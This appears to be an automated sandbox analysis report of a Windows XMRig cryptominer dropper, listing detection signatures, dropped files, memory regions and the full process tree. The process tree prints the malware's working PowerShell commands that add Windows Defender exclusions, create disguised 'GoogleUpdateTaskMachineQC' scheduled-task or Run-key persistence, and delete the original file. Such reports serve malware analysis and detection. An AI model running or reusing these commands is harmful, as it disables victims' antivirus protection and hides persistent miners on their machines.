Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1789s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
  • Size 2.0MB
  • Sample240123-x591qagbd7
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2976
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2644
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1508
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1048
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UU4Ddwqm5zcuLzGR.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3444
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4012
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:5040
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2184
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1568
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3112
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:2412
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:948
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2040
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3144
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:384

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 25KB
                • SHA256 06348f97fe56a9331569e040e7cb69b53cd6d1af80db0307b74770525e683c28
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 657KB
                • SHA256 313f2a284d4a0a705105c61761d97ec1472e9bd8942c8dfde9da838e537169a1
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 f313df10f67103a0652cc0c596cd85403f46a98240a886e375b07f436409000a
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_zir0g4wu.u0w.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zir0g4wu.u0w.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1048-31-0x0000018BBBC50000-0x0000018BBBC60000-memory.dmp

                memory/1048-34-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/1048-29-0x0000018BBBC50000-0x0000018BBBC60000-memory.dmp

                memory/1048-19-0x0000018BBBC50000-0x0000018BBBC60000-memory.dmp

                memory/1048-32-0x0000018BBBC50000-0x0000018BBBC60000-memory.dmp

                memory/1048-18-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/1508-12-0x0000021FC3E50000-0x0000021FC3E60000-memory.dmp

                memory/1508-13-0x0000021FC3E50000-0x0000021FC3E60000-memory.dmp

                memory/1508-16-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/1508-11-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/1508-6-0x0000021FDC390000-0x0000021FDC3B2000-memory.dmp

                memory/1568-116-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/1568-114-0x000001C56B310000-0x000001C56B320000-memory.dmp

                memory/1568-113-0x000001C56B310000-0x000001C56B320000-memory.dmp

                memory/1568-103-0x000001C56B310000-0x000001C56B320000-memory.dmp

                memory/1568-102-0x000001C56B310000-0x000001C56B320000-memory.dmp

                memory/1568-101-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/2040-145-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-157-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-189-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-187-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-185-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-183-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-181-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-179-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-177-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-175-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-173-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-171-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-169-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-167-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-165-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-163-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-161-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-159-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-155-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-153-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-151-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-149-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-147-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-143-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-125-0x000001B5C1F40000-0x000001B5C1F60000-memory.dmp

                memory/2040-124-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-126-0x000001B5C20B0000-0x000001B5C20D0000-memory.dmp

                memory/2040-141-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-128-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-129-0x000001B5C20D0000-0x000001B5C20F0000-memory.dmp

                memory/2040-130-0x000001B5C20F0000-0x000001B5C2110000-memory.dmp

                memory/2040-132-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-133-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-139-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-135-0x00007FF756AD0000-0x00007FF7572C4000-memory.dmp

                memory/2040-136-0x000001B5C20D0000-0x000001B5C20F0000-memory.dmp

                memory/2040-137-0x000001B5C20F0000-0x000001B5C2110000-memory.dmp

                memory/2184-85-0x0000020EFF780000-0x0000020EFF78A000-memory.dmp

                memory/2184-83-0x0000020E99480000-0x0000020E99488000-memory.dmp

                memory/2184-75-0x0000020E99490000-0x0000020E994AC000-memory.dmp

                memory/2184-78-0x0000020E994B0000-0x0000020E99565000-memory.dmp

                memory/2184-79-0x0000020EFF390000-0x0000020EFF39A000-memory.dmp

                memory/2184-65-0x0000020E986F0000-0x0000020E98700000-memory.dmp

                memory/2184-81-0x0000020EFF3A0000-0x0000020EFF3AA000-memory.dmp

                memory/2184-82-0x0000020EFF7C0000-0x0000020EFF7DA000-memory.dmp

                memory/2184-63-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/2184-76-0x00007FF4345A0000-0x00007FF4345B0000-memory.dmp

                memory/2184-77-0x0000020E986F0000-0x0000020E98700000-memory.dmp

                memory/2184-64-0x0000020E986F0000-0x0000020E98700000-memory.dmp

                memory/2184-84-0x0000020E996B0000-0x0000020E996B6000-memory.dmp

                memory/2184-80-0x0000020EFF7A0000-0x0000020EFF7BC000-memory.dmp

                memory/2184-86-0x0000020E986F0000-0x0000020E98700000-memory.dmp

                memory/2184-89-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/2644-36-0x00007FF638540000-0x00007FF638751000-memory.dmp

                memory/2644-0-0x00007FF638540000-0x00007FF638751000-memory.dmp

                memory/3112-134-0x00007FF7B1930000-0x00007FF7B1946000-memory.dmp

                memory/3112-127-0x00007FF7B1930000-0x00007FF7B1946000-memory.dmp

                memory/3144-53-0x00007FF631B60000-0x00007FF631D71000-memory.dmp

                memory/3144-123-0x00007FF631B60000-0x00007FF631D71000-memory.dmp

                memory/4012-52-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/4012-46-0x00007FFD569A0000-0x00007FFD57461000-memory.dmp

                memory/4012-47-0x0000023D6E290000-0x0000023D6E2A0000-memory.dmp

                memory/4012-48-0x0000023D6E290000-0x0000023D6E2A0000-memory.dmp